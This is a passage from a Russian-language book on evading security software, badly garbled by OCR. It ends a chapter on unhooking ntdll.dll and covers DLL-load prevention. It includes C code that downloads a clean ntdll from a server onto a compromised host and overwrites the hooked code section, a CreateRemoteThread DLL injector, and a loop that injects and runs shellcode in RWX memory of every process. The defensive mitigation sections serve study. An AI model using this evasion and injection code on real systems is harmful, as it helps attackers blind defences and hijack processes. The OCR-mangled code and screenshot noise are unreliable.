а..
340
Часть
1/1.
Способы обхода средств защиты информации
а.
Q)
:;
(')
ns
а.
.а
lii
а.
"'ns
g
о
C'i
N
.......:,.;
:s:
D..
Глава
В001
17.
Познаем анхукинг
341
ntd/1.dll
ReadNtdllFromServer(OUT PVOID* ppNtdllBuf)
РВУТЕ
PVOID
SIZE Т
WCНAR
pNtdllModule
pNtdllBuffer
sNtdllSize
szFullUrl [МАХ_РАТН]
= (PBYTE)FetchLocalNtdllBaseAddress();
= NULL;
= NULL;
=(
О
1;
ntdll.dll
pimgDosHdr = (PIМAGE_OOS_НEADER)pNtdllModule;
if (pimgDcsHdr->e_magic != IМAGE_OOS_SIGNATUREI
return NULL;
//
Получаем параметры хукнутой
PIМAGE_OOS_НEADER
PIМAGE_NT_НEADERS pimgNtHdrs = (PIМAGE_NT_НEADERS) (pNtdllModule + pimgDosHdr->e_lfanew);
if (pimgNtHdrs->Signature != IМAGE_NT_SIGNATURE)
return NULL;
// Качаем нехукнутую ntdll.dll
wsprintfW(szFullUrl, L"%s%0.8X%0.4X/ntdll.dli", FIXED_URL,
plmgNtHdrs->FileHeader.TimeDateStamp, pimgNtHdrs->OptionalHeader.SizeOfimage);
if (!GetPayloadFromUrl(szFullUrl, &pNtdllBuffer, &sNtdllSize))
return FALSE;
*ppNtdllBuf = pNtdllBuffer;
return TRUE;
Отдельно я вынес функцию GetPayloadFromUrl (), которая принимает
URL
для скачи
вания ntdll.dll, а возвращает указатель на адрес в памяти, где будет лежать либа
размером
В001
sNtdllSize.
GetPayloadFromUrl(IN LPCWSTR szUrl, OUT PVOID* pNtdllBuffer, OUT PSIZE
bSTATE
hlnternet
НINTERNET
hinternetFile
DWORD
dwBytesRead
SIZE Т
sSize
pBytes
РВУТЕ
= TRUE;
В001
pТmpBytes
= NULL,
= NULL;
= NULL;
= NULL;
= NULL,
= NULL;
hinternet = InternetOpenW(L"info", NULL, NULL, NULL, NULL);
if (hinternet == NULL) {
printf (" [ 1 ] InternetOpenW Failed With Error : %d \n", GetLastError ());
bSTATE = FALSE; goto _EndOfFunction;
Т
sNtdllSize) {
Часть
342
111.
Способы обхода средств защиты информации
hinternetFile
InternetOpenUrlW(hinternet, szUrl, NULL, NULL, INTERNET FLAG_HYPERLINK 1
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
if (hinternetFile == NULL) {
printf("[ 1 ] InternetOpenUrlW Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
= (PBYTE)LocalAlloc(LPTR, 1024);
== NULL) {
bSTATE = FALSE; goto _EndOfFunction;
pТmpBytes
if
(pТmpBytes
while (TRUE) (
if ( 1 InternetReadFile (hinternetFile, pТmpBytes, 1024, &dwBytesRead)) {
printf("[ !] InternetReadFile Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EпdOfFunction;
sSize "= dwBytesRead;
if (pBytes == NULL)
pBytes
(PBYTE)LocalAlloc(LPTR, dwBytesRead);
else
(PBYTE)LocalReAlloc(pBytes, sSize, LMEM
pBytes
if (pBytes == NULL) {
bSTATE = FALSE; goto
MOVEAВLE
LMEM ZEROINIT);
EndOfFunction;
memcpy ( (PVOID) (pBytes + (sSize - dwBytesRead)),
pТmpBytes,
dwBytesRead);
memset(pTmpBytes, '\О', dwBytesRead);
if (dwBytesRead < 1024)
break;
*pNtdllBuffer
*sNtdllSize
= pBytes;
= sSize;
EndOfFunction:
if (hinternet)
In•ernetCloseHandle(hinternet);
if (hinternetFile)
lnternetCloseHandle(hinternetFile);
if (hinternet)
InternetSetOptionW(NULL, INTERNET OPTION
SETTINGS_CНANGED,
NULL, 0);
Глава
if
17.
Познаем анхукинг
343
ntd/1.dll
(pТmpBytes)
LocalFree(pТmpBytes);
return bSTATE;
Функция открывает интернет-сессию, после чего читает куски размером
до тех пор, пока не будет считано меньше
1024
1024
1024
байта
байт. Если считано меньше
байт, значит, весь файл был успешно передан и можно закрывать сессию.
Несмотря на то что нехукнутая ntdll.dll будет считываться с веб-сервера, оффсет
секции
. text
невозможно знать заранее. Он то
1024,
то
4096.
Поэтому используем
код из раздела с чтением библиотеки из диска- будем опять проверять начальные
байты по оффсету
добавляем
1024,
если совпадут, то копируем по этому адресу, если нет, то
3072.
BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll)
PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();
pLocalDosHdr = (PIМAGE_DOS_HEADER)pLocalNtdll;
РШАGЕ DOS HEADER
1f (pLocalDosHdr && pLocalDosHdr->e_magic != IМAGE_DOS_SIGNATURE)
return FALSE;
pLocalNtHdrs = (PIМAGE_NT_HEADERS) ( (PBYTE)pLocalNtdll +
PIМAGE NT HEADERS
pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature 1= IМAGE_NT_SIGNATURE)
return FALSE;
PVOID
pLocalNtdllTxt = NULL,
pRemoteNtdllTxt = NULL;
SIZE Т
sNtdllTxtSize = NULL;
PIМAGE_SECTION_HEADER pSectionНeader
for (int i =
О;
i <
=
IМAGE_FIRST_SECTION(pLocalNtHdrs);
pLocalNtHdrs->FileHeader.NumЬerOfSections;
i++) (
// if( strcmp(pSectionНeader[i] .Name, ".text") == О )
if ( (*(ULONG*)pSectionНeader[i] .Name I Ох20202020) == 'xet. ') {
pLocalNtdllTxt = (PVOID) ((ULONG_PTR)pLocalNtdll + pSectionHeader[i) .VirtualAddress);
pRemoteNtdllTxt = (PVOID) ((ULONG_PTR)pUnhookedNtdll + 1024);
sNtdllTxtSize = pSectionHeader[i] .Misc.VirtualSize;
break;
if
1 1 pLocalNtdllTxt
return FALSE;
11
!pRemoteNtdllTxt
11
!sNtdllTxtSize)
344
Часть
111.
Способы обхода средств защиты информации
"'""
ф
f0
"'
"'
\D
"':,:
ro
о:;
\D
ф
111
"'
:т
~
u
ф
о
:,:
3
ф
,::
u
>,
С'?
N
...
....:
u
s
о.
Глава
17.
Познаем анхукинг
ntd/1.dll
345
if (*(ULONG*)pLocalNtdllTxt 1= *(ULONG*)pRemoteNtdllTxt)
pRemoteNtdllTxt = (PVOID) ((char*)pRemoteNtdllTxt + 3072);
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
DWORD dwOldProtection = NULL;
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY,
&dwOldProtection))
printf("[ 1 ) VirtualProtect [1) Failed With Error : %d \n", GetLastError());
return FALSE;
memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
if ( 1VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection))
printf("[ 1 ) VirtualProtect [2] Failed With Error : %d \n", GetLastError());
return FALSE;
return TRUE;
Обратите внимание, что на функции ReadNtdllFromServer () программа может как бы
зависнуть. Не переживайте, она работает, качает нужную библиотеку (рис. 17.23).
Этот способ, думаю, самый удобный. Его главный недостаток в том, что требуется
доступ в Интернет со скомпрометированного хоста. Полный код реализации для
ваших собственных экспериментов я также прикладываю:
□ Ntdl l FromWEbsi te. срр (https://github.com/МzHm O/articles/Ыo Ыmain/unhooking/
NtdllFromWEbSite.cpp)- подгрузка с
winЬindex.m4 l 7z.com;
□ NTDLLReflection (https://github.com/ТheDlrkМtr/NTDLLReflection)- подгрузка
с иного ресурса, вы должны будете сами поднять веб-сервер.
Заключение
Помните, что анхукинг
-
это не более чем один из множества способов обхода
хуков. Причем умные антивирусы умеют восстанавливать хуки, если обнаружива
ют, что кто-то их снял. На любое действие найдется противодействие, но в данном
случае это приглашение к новому действию!
ГЛАВА
18
Изучаем методы предотвращения
подгрузки
DLL
Злые вирусы так и норовят подгрузить в нашу легитимную программу свои биб
лиотеки! Можно ли избавиться от чужих модулей? Как предотвратить загрузку
библиотек или хотя бы своевременно о ней узнать? Давайте разбираться.
В основном
Windows
использует два формата исполняемых файлов
Первые представляют собой привычные для нас программы, а
DLL -
.ехе и
DLL.
это библио
теки с дополнительными функциями, подгружаемые исполняемым файлом. Файлы
DLL
могут быть загружены в процесс и сразу при запуске (так называемая статиче
ская линковка), и при выполнении (динамическая линковка), т. е. когда процесс
уже вовсю работает и вдруг что-то его подталкивает к решению загрузить библио
теку.
Ни для кого не секрет, что процессы в
Windows
имеют виртуальное адресное про
странство. Пространство представляет собой кусок памяти, который принадлежит
только текущему процессу. В этой части памяти будут данные только текущего
процесса. При подгрузке
DLL
оказывается в том же самом адресном пространстве
и, как следствие, получает доступ ко всем данным процесса. Такое поведение при
водит к тому, что злостные хакеры так и желают, так и ждут подгрузки своей вре
доносной библиотеки в наш процесс, чтобы установить хуки, сдампить память и
всячески изменить поведение программы. С этим можно бороться!
U pdateProc ThreadAttribute
Предлагаю начать с наиболее распространенных способов предотвращения под
грузки
DLL-библиотек
в
процесс.
Первый
вариант
основан
на
функции
(Ь ttps:/Лearn.microsoft.com/en-us/windows/win32/api/
Upda teProcTh readAt tr ibute 1)
processthreadsapi/nf-processthreadsapi-updateprocthreadattribute).
Для его реали
зации устанавливается специальное значение:
PROC - THREAD ATTRIBUTE - MITIGAT:ON - POLICY
-
Единственная проблема
-
в нашу программу все-таки смогут внедряться чужие
либы, но только если они подписаны в
Microsoft.
Также стоит отметить, что пре-
Глава
18.
Изучаем методы предотвращения подгрузки
дотвращение подгрузки
DLL
DLL
347
будет применяться к процессу, который мы запустим
через createProcess (), к текущему процессу применить эту функцию не получится.
Тем не менее есть возможность обойти это ограничение. Наш текущий процесс
может проверять, был ли он запущен с параметром, ограничивающим подгрузку
DLL.
Если нет, то он запускает копию самого себя, но уже с помощью атрибутов,
которые устанавливаются в функции UpdateProcThreadAttribute ().
Итак, сначала напишем функцию CreateProcessWithВlockDllPolicy(). Для этого нам по
требуется лишь путь до исполняемого файла, который нужно запустить. Функция
будет возвращать
PID
запущенного процесса, его хендл, а также хендл потока про
цесса.
BOOL CreateProcessWithBlockDllPolicy(IN LPSTR lpProcessPath, OUT DWORD* dwProcessid,
OUT НANDLE* hProcess, OUT НANDLE* hThread) {
STARTUPINFOEXA
SiEx = { О );
PROCESS INFORМATION
Pi = { О );
SIZE Т
sAttrSize = NULL;
if (lpProcessPath == NULL)
return FALSE;
RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORМATION));
SiEx.Startupinfo.cb = s1zeof(STARTUPINFOEXA);
SiEx.Startupinfo.dwFlags = EXTENDED_STARTUPINFO PRESENT;
InitializeProcThreadAttributeList(NULL, 1, NULL, &sAttrSize);
LPPROC_THREAD_ATTRIBUTE_LIST pAttrBuf =
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sAttrSize);
if (!InitializeProcThreadAttributeList(pAttrBuf, 1, NULL, &sAttrS1ze))
printf("[!] InitializeProcThreadAttributeList Failed With Error : %d \n",
GetLastError());
return FALSE;
DWORD64 dwPolicy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
if ( 1 UpdateProcThreadAttribute(pAttrBuf, NULL, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,
&dwPolicy, sizeof(DWORD64), NULL, NULL))
printf(" [ 1 ] UpdateProcThreadAttribute Failed With Error : %d \n", GetLastError());
return FALSE;
SiEx.lpAttributeList
if ( 1 CreateProcessA(
NULL,
(LPPROC THREAD_ATTRIBUTE_LIST)pAttrBuf;
Часть
348
111.
Способы обхода средств защиты информации
lpProcessPath,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENТ,
NULL,
NULL,
&SiEx.Startupinfo,
&Pi)) {
printf("[!] CreateProcessA Failed With Error
return FALSE;
%d \n", GetLastError());
*dwProcessid = Pi.dwProcessid;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
DeleteProcThreadAttributeList(pAttrBuf);
HeapFree(GetProcessHeap(), О, pAttrBuf);
if (*dwProcessid != NULL && *hProcess != NULL && *hThread != NULL)
return TRUE;
else
return FALSE;
Сначала мы очищаем структуры, а затем инициализируем структуры, необходимые
для запуска процесса. Дополнительно устанавливаем флаг:
EXTENDED- STARTUPINFO- PRESENТ
Это даст возможность запускать процессы с нужной митигацией.
Далее с помощью функции InitializeProcThreadAttributeList ()
(https://learn.microsoft.
com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeproc
threadattributelist) готовим структуру LPPROC- TНREAD- AТTRIBUTE- LIST. Ее будем указы
вать в функции UpdateProcAttributeList () (https://learn.microsoft.com/en-us/windows/
win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute ).
Двойной вызов функции стандартен для Windows - первый вызов служит для по
лучения нужного размера, а второй-для инициализации элементов структуры.
Затем с помощью функции UpdateProcAttributeList 1) заносим необходимые атрибуты
в нашу структуру со списком атрибутов, после чего применяем ее функции
Crea teProcessA (),
что позволяет запустить процесс с защитой от подгрузки левых
библиотек.
Как же запустить текущий процесс, применив эту функцию? Здесь будем использо
вать аргументы командной строки. Наш процесс может породить дочерний такой
же процесс с митигацией, а самого себя уничтожить. Для этого нам нужно создать
специальный sтоР_ARG. Если вдруг в аргументах командной строки текущего процес
са нет sтoP_ARG, то он должен перезапуститься с защитой от подгрузки
DLL.
Глава
18.
Изучаем методы предотвращения подгрузки
DLL
349
Наша функция main () должна выглядеть вот так:
#define LOCAL BLOCKDLLPOLICY
#ifdef LOCAL BLOCKDLLPOLICY
#define STOP ARG "xakep"
#endif
int main(int argc, char* argv[])
dwProcessid = NULL;
hProcess = NULL,
hThread = NULL;
DWORD
НANDLE
#ifdef LOCAL BLOCKDLLPOLICY
if (argc == 2 && (strcmp(argv[l], STOP_ARG) == 0)) {
printf (" [ +] Process Is Now Protected Wi th The Вlock 011 Policy \n");
WaitForSingleObject({НANDLE)-1,
INFINITE);
else {
printf (" [ ! ] Local Process Is Not Protected Wi th The
Вlock
D11 Policy \n") ;
* 2];
if ( 1GetModuleFileNameA(NULL, (LPSTR)&pcFilename, МАХ РАТН * 2)) {
printf("[ 1 ] GetModuleFileNameA Failed With Error : %d \n", GetLastError());
return -1;
СНАR pcFilename[МAX_PATH
DWORD dwBufferSize = (DWORD) (lstrlenA(pcFilename) + lstrlenA(STOP ARG) + OxFF);
pcBuffer = (CНAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBufferSize);
if ( 1pcBuffer)
return FALSE;
СНАR*
sprintf_s(pcBuffer, dwBufferSize, "%s %s", pcFilename, STOP_ARG);
if ( 1CreateProcessWithBlockDllPolicy(pcBuffer, &dwProcessld, &hProcess, &hThread)) {
return -1;
HeapFree(GetProcessHeap(),
О,
pcBuffer);
printf("[i] Process Created With Pid %d \n", dwProcessld);
#endif
#ifndef LOCAL BLOCKDLLPOLICY
if ( 1CreateProcessWithBlockDllPolicy ( (LPSTR)
"С:\ \Windows\ \System32\ \RuntimeBroker. ехе",
&dwProcessid, &hProcess, &hThread))
Часть
350
111.
Способы обхода средств защиты информации
return -1;
printf("(i] Process Created With Pid %d \n", dwProcessld);
#endif
return
О;
Сначала объявляются некоторые директивы, позволяющие управлять тем, что мы
хотим получить от кода. Если хотим защитить собственную программу, то оставля
ем
define LOCAL _BLOCKDLLPOLICY. Если хотим запустить иной процесс с защитой от под
грузки
DLL,
то убираем это поле.
Затем указываем необходимый sтor _ARG, а в самой функции main 11 проверяем, при
сутствует ли sтor _ARG в аргументах командной строки. Если он есть, то процесс
может спокойно продолжать свое выполнение.
if (argc == 2 && (strcmp(argv[l], STOP_ARG) ==О)) {
printf(" [+] Process Is Now Protected With The Block Dll Pol1cy \n");
// Продолжаем выполнение
// Наш КОД тут
WaitForSingleObject(
(НANDLE)-1,
INFINITE);
Если же этого аргумента нет, то процесс порождает сам себя с защитой.
printf("[!] Local Process Is Not Protected With The
СНАR pcFilename[МAX_PATH
Dll Policy \n");
* 2];
* 2) ) {
GetLastError ());
\n",
%d
:
Failed Wi th Error
if ( ! GetModuleFileNameA (NULL, (LPSTR) &pcFilename,
printf (" ( ! ]
return -1;
Вlock
GetМoduleFileNameA
МАХ РАТН
DWORD dwBufferSize = (DWORD) (lstrlenA(pcFilename) + lstrlenA(STOP_ARG) + 0xFF);
pcBuffer = (CНAR*)HeapAlloc(GetProcessHeap(), НEAP_ZERO_MEMORY, dwBufferSize);
if ( 1 pcBuffer)
return FALSE;
СНАR*
sprintf_s(pcBuffer, dwBufferSize, "%s %s", pcFilename, STOP_ARG);
if ( 1 CreateProcessWi thBlockDllPolicy (pcBuffer, &dwProcessid, &hProcess, &hThread) ) (
return -1;
HeapFree(GetProcessHeap(I,
О,
pcBuffer);
printf("(i] Process Created With Pid %d \n", dwProcessld);
Глава
18. Изучаем
методы предотвращения подгрузки
351
DLL
Пора приступать к проверке . Сначала з ап у скаем наш процесс с защитой (рис.
18. 1).
Скомпилированный файл я наз вал ProtectedProcess . exe.
Вид им , что наш файл имеет особый бит, который показ ывает даже
(рис .
Х
Адuинистратор: Windows Ро-..
1/J
Process Hacker
18.2).
11!
+
Х
ААммнмо,ра1ор: Windows Ро
х
о
PS A:\ssd\ProjectsVS\DttCpp\xбll\Debug> .\ProtectedProcess.exe
[!] Locat Process Is Not Protected With The Btock Dtt Poticy
[i] Process Created With Pid lЦЦЗ
[+] Process ls Now Protected With The Block Dll Policy
PS A : \ssd\ProjectsVS\DllCpp\xбll\Debug>
Рис .
Hкltef
tмrs
V1ew Tools
~ Rl!lтesh
....
Proc81ИI
Neм,k
Syst•m lnfo,motюn
PID
■ conhos t. ext
1Ъ Goo1\eCr1shHand\tr. •••
1Ъ Goo1teCrashHand\tг~. •••
conhost.t••
■ cl!ld.•••
f1refox.tl(t
Q
)С
Se1rch Processes (Ctn
[мk
v ■ NVIDIA Wtb He\ptr ,fJllt
■
Запуск файла
Н~р
O Options j II Find hllndle, о, Dll.s
Stмt8t
18.1 .
1/0 tot1\ r1tt Priv•t•
CPU
c.n.re1 stlClltkl ~ Thrмdt тoun ~ м.то,у &мnмvnent Н8ndlel GfllJ
...
1
N/A
Jrneg4flltname;
1A:\SSO\PrOjIOl'VS\DIICpp\J,164\Dfщi\Pr«ЮfdProct•Pf
•
fi refo•. ехе
-
Commendln,c
..,.,.,
1D16S4Ь.2t000
j ....,1ype,o<-1>•
Нon-ulstentprocea (1 0312)
ОЕР
firefox.exe
firtfox.exe
! Ao\llN,e)'<tSVS\OIICl>p\)064\l)OOug _ _ _
120 мc:ondl 9(12 :04:08 2:5.12.2023)
firefo,111.exe
firefox.exe
- _.../
""'"' ...,,.,.,, i"'""""''JIOМ\DIQ,p\)064'°"""'
f ; refox.exe
•
*
х
8nlt Nltwort c:omm.nt
(UНVURD)
f1rtfox.exe
firefox.exe
Description
Vtrllon: N/A
fi refol( .ехе
firefox.exe
n1м
□
•
fi refox .ехе
User
Ceo~e11r. ProtectedProcen.ne (1448)
•
f;refox.exe
Ь ...
(ptrrnenent); ASLR ~ lntr
; spu,rn rutna.d (Мk:roloft only)
Protкtxм'I: Ном
fi refox. ехе
firefox . @xe
fi refox · •••
CPUU..oo:2.831' Physic,,lm,mo,y.11.19G8 (3Sl2%) Proc..,..: 180
Рис.
18.2.
Защищенный процесс
Часть
352
111.
Способы обхода средств защиты информации
Теперь попробуем внедриться. Для этого я написал простейший инжектор на
CreateRemoteThread().
#include <Windows.h>
#include <iostream>
int rnain(int argc, char* argv[]) {
НANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = ТЕХТ ("А:\ \SSD\ \ProjectsVS\ \DllCpp\ \х64\ \Debug\ \Dllinj .dll");
DWORD pid;
std::cin >> pid;
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
std: :cout « "OpenProcess: " « GetLastError() « std: :endl;
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(dllPath),
МEM_RESERVEIMEM_COММIT,
PAGE_EXECUTE_READWRITE);
std: :cout « "VirtualAllocEx: " « GetLastError() « std: :endl;
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof(dllPath), NULL);
std: :cout « "WriteProcessMemory: " « GetLastError() « std: :endl;
РТНRЕАD START ROUТINE threatStartRoutineAddress =
(PТНREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, О, threatStartRoutineAddress, remoteBuffer, О, NULL);
std: :cout « "CreateRemoteThread: " « GetLastError() « std: :endl;
CloseHandle(processHandle);
return
О;
Инжектор загружает библиотеку со следующим кодом:
#include "pch.h"
#include <iostream>
#include <string>
WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, PVOID fimpLoad) (
switch (fdwReason) {
case DLL- PROCESS- АТТАСН:
DWORD dwProcessid = GetCurrentProcessid();
НANDLE hFile = CreateFileA("A:\\ssd\\ProjectsVS\\D11Cpp\\x64\\Debug\\hi.txt" ,
GENERIC_WRITE, О, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NOm.'.AL, NULL);
if (hFile != INVALID_НANDLE_VALUE)
В001
{
std::string content = "Process ID: "+ std: :to_string(dwProcessid) + "\r\n";
DWORD bytesWritten;
WriteFile(hFile, content.c_str(), content.size(), &bytesWritten, NULL);
CloseHandle(hFile);
Глава
18.
Изучаем методы предотвращения подгрузки
DLL
353
r eturn (TRUE) ;
Здесь нет ничего сложного
создание файла и запись в него
-
PID
текущего процес
са. Сначала проверим работу на безобидном процессе, например GoogleCrashHandler . ехе
с
PID 8968
(рис .
18.3).
Теперь попробуем внедриться в защищенный процесс (рис.
18.4).
Неудача! Инжект не сработал.
PS A:\ssd\ProjectsVS\DltCpp\xбЦ\Debug> .\DttCpp.exe
8968
OpenProcess: 0
VirtuatAtlocEx: 0
WriteProcessMemory: 0
CreateRemoteThread: 0
PS A:\ssd\ProjectsVS\DltCpp\xбЦ\Debug> type .\hi.txt
Process ID: 8968
PS A:\ssd\ProjectsVS\DltCpp\xбЦ\Debug>
Рис .
18.3.
Внедрение в процесс работает
PS А: \ssd\ProjectsVS\DttCpp\xбll\Debug> . \Dt\Cpp. ехе
8968
OpenProcess: е
VirtuatAttocEx : fJ
WriteProcessfl\e11ory :
е
CreateR&ioteThread : е
PS A : \ssd\ProjectsVS\DttCpp\xбll\Debug> type . \hi . txt
Process ID : 8968
PS А: \ssd\ProjectsVS\DttCpp \ xб!I\Oebug> det . \hi. txt
PS А: \ssd\ProjectsVS\DttCpp\xб!I\ Debug> . \DttCpp. ехе
lЦЦ8
OpenProcess:
Е)
VirtuatAttocEx : f)
WriteProcessf1e11ory:
Е>
CreateRe11oteThrea.d: Е)
PS А: \ssd\ProjectsVS\DHCpp\xб!I\Oebug> type . \hi . txt
type
№ yA,J.eTCR НАЙТИ путь •д:\ssd\Projec:tsVS\D\\Cpp\x6Ц\Debu9\hi txt•,
строка:
l
:!НАК;
т•к к.11<
он не су111еств:,,<.'Т
1
+ type . \hi. tкt
+----+ C&tegoryinfo
ception
+ Fut\yQuA\ifie<!Errorld
ObjectNotFound:
(А:
\5sd\Projcct5
P.athNotFound ,t1icrosoft PowerShell
. 611\Debug\hi. t i::t Strin9) [Get-Content], ! tc•,Not F()l
,1
COП\&nds. GetContentCOUi.lnd
PS А: \ssd\Proj ectsVS\DHCpp\xб!I\Debug>
Рис.
18.4.
Если попробуем внедриться через
Инжект не сработал
Process Hacker,
тоже столкнемся с невозможно
стью выполнения нашей библиотеки.
SetProcessMitigationPolicy
Эту функцию (https://learn.microsoft.com/en-us/windows/win32/api/processthread
sapi/nf-processthreadsapi-setprocessmitigationpolicy) также можно использовать
для предотвращения подгрузки в наш процесс левых DLL. Заметьте, что подобное
предотвращение подгрузки либ применяется к текущему процессу и только после
вызова этой функции . Если же хакер внедряет свою библиотеку до вызова этой
Часть
354
111.
Способы обхода средств защиты информации
функции, то у него все получится. Если после, то ничего не выйдет. И опять же
- DLL, подписанные в Microsoft. Они все равно без
единственное исключение
проблем смогут внедряться в наш процесс.
Здесь код будет попроще, чем в прошлый раз.
#include <Windows.h>
#include <iostream>
int main() {
PROCESS MITIGATION BINARY SIGNATURE POLICY Struct
Struct.MicrosoftSignedOnly
=
(
о
);
1;
if (!SetProcessMitigationPolicy(ProcessSignaturePolicy, &Struct, sizeof(Struct) )) {
printf (" [ ! ] SetProcessMi tigationPolicy Failed Wi th Error : %d \n", GetLastError () ) ;
getchar () ;
return
О;
O.•cription
W1ndows. Po.tf"She\l
Proctts
~
...
5'1111111Ь ~ ~ Т"Olaln
....... ~ ~ ...... Q'U
нкit.r
,.,
Dillk end,...,,_ Oomмnt
,.,
.,.
(-FED)
V"'11on:
14/А
"'98-I\IIIW:
•
firefo111.
firwfo.-.
f-irefoJ11.
•
fiг•fox.
•
•
(1refoк .
firefoк .
• f1 refoк.
•
firefo11.
•
firtfox .
• f1refoк .
•
firtfoic .
W; fir•fo11 .
QrrllW dndory:
satm:d:
-
!A:\ - , ro.)8mYS\Dlqlp\)64~
!6 R<Jlndt 19О {U:16:51 25.12.2aD}
" ="='...======================с:::
="'
;:"____
__J....ьс
""l'nfl9ttvflol:
(,,..)
:
-_
_ •..c
LD<
"') ;;;t- - - - - --;::==:;-;;J
- _;;;.;;;;;;;;;";;;;;;
;;;;;;;;;;;;
-'-4--"t';;;-;;;;;;;;;;;;'
(i'gh
-'_IA
___cc..·AS
~:ftON
Рис.
18.5.
Процесс с ограничением
-
Глава
18.
Изучаем методы предотвращения подгрузки
Рис .
Запускае~1 (рис.
18.6.
Внедриться невозможно
18 .5).
Вновь попытка внедриться окажется безуспешной (рис.
Включение
ACG
(он же
355
DLL
18.6).
ACG
P1·ocessDy11a111icCodePolicy) -
специальный механизм в
Windows,
ко
торый предотвращает выделение или изменение страниц в памяти, имеющих бит
Execllte.
Это несколько у сложняет внедрение библиотек.
После вкл ючения
ACG
я д ро
Windows
предотвращает создание и изменение испол
няемых страниц в 11амяти . При этом работают следующие правила:
1.
Страницы с кодом считаются неизменными. Существующие кодовые страницы
нель з я
с д е л ать доступными для
записи, они
всегда имеют предназначенное для
них содержимое. Дл я этого создаются дополнительные проверки в диспетчере
памяти . Например , больше нельзя использовать VirtualProtect (1 для преобразова
ния страни11ы В памяти В
2.
PAG E_ EXECUTE _ REA DW RIТE .
Новые непо;н1исанные страницы с кодом создавать нельзя. Например , не выйдет
исполь з овать
REAliWRIТE .
'J irtualAlloc ( I
для
создания страницы с
разрешениями
PAGE_EXECUTE
356
Часть
Вот пример кода, который включает
111.
Способы обхода средств защиты информации
ACG:
#include <iostream>
#include <Windows.h>
#include <processthreadsapi.h>
int main()
STARTUPINFOEX si;
DWORD oldProtection;
PROCESS_MITIGATION_DYNAМIC_CODE_POLICY
policy;
ZeroMemory(&policy, sizeof(policy));
policy.ProhibitDynamicCode = 1;
void* mem = VirtualAlloc(0, 1024, МEM_RESERVE I
if (mem = NULL) (
printf (" [ ! ] Error allocating RWX memory\n") ;
МЕМ_СОММIТ,
PAGE_EXECUTE_READWRITE);
else (
printf (" [ *] RWX memory allocated: %p\n", mem);
printf("[*] Now running SetProcessMitigationPolicy to apply
PROCESS_МITIGATION_DYNAМIC_CODE_POLICY\n");
if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy))
printf("[!] SetProcessMitigationPolicy failed\n");
return О;
false) {
mem = VirtualAlloc(0, 1024, МEM_RESERVE I МЕМ_СОММIТ, PAGE_EXECUTE_READWRITE);
if (mem = NULL) {
printf("[!] Error allocating RWX memory\n");
else {
printf("[*] RWX memory allocated: %p\n", mem);
void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.dll"),
"NtAllocateVirtualMemory");
if (!VirtualProtect(ntAllocateVirtualMemory, 4096, PAGE_EXECUТE_READWRITE, &oldProtection)) (
printf (" [ ! ] Error updating NtAllocateVirtualMemory [%р] memory to RWX\n",
ntAllocateVirtualMemory);
else
printf("[*] NtAllocateVirtualMemory
[%р]
memory updated to RWX\n",
ntAllocateVirtualMemory);
Глава
Изучаем методы предотвращения подгрузки
18.
return
357
DLL
О;
Тем не менее этот метод нам не очень подходит, т. к. его легко обойти: достаточно
инжектиться в регионы, уже имеющие статус
R WX.
Например, вот так:
"pch.h"
<iostream>
<Windows.h>
<TlHelp32.h>
#include
#include
#include
#include
int main 1)
{};
MEMORY BASIC INFORМATION mЬi
LPVOID offset = О;
НANDLE process = NIJLL;
НANDLE snapshot = CreateToolhelp32Snapshot(TH32CS SNAPPROCESS,
PROCESSENTRY32 processEntry = {};
processEntry.dwS1ze = sizeof(PROCESSENTRY32);
DWORD bytesWritten = О;
unsigned char shellcode[] = " ... ";
О};
Process32First(snapshot, &processEntry);
while (Process32Next(snapshot, &processEntry))
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
i f (process)
std: :wcout << processEntry.szExeFile << "\n";
while (VirtualQueryEx(process, offset, &mЬi, sizeof(mЬi)))
offset = (LPVOID) ( (DWORD_PTR)mЬi.BaseAddress + mЬi.RegionSize);
if (mЬi.AllocationProtect == PAGE_EXECUTE_READWRITE && mЬi.State ==
&&
PRIVATE)
МЕМ СОММIТ
mЬi. Туре
МЕМ
std:: cout « "\ tRWX: Ох" « std:: hex « mЬi. BaseAddress « "\n";
WriteProcessMemory(process, mЬi.BaseAddress, shellcode, sizeof(shellcode), NULL);
CreateRemoteThread(process, NULL, NULL, (LPTHREAD START_ROUTINE)mЬi.BaseAddress,
NULL, NULL, NULL);
offset =
О;
CloseHandle(process);
return
О;
358
Другой вариант
Часть
-
111.
Способы обхода средств защиты информации
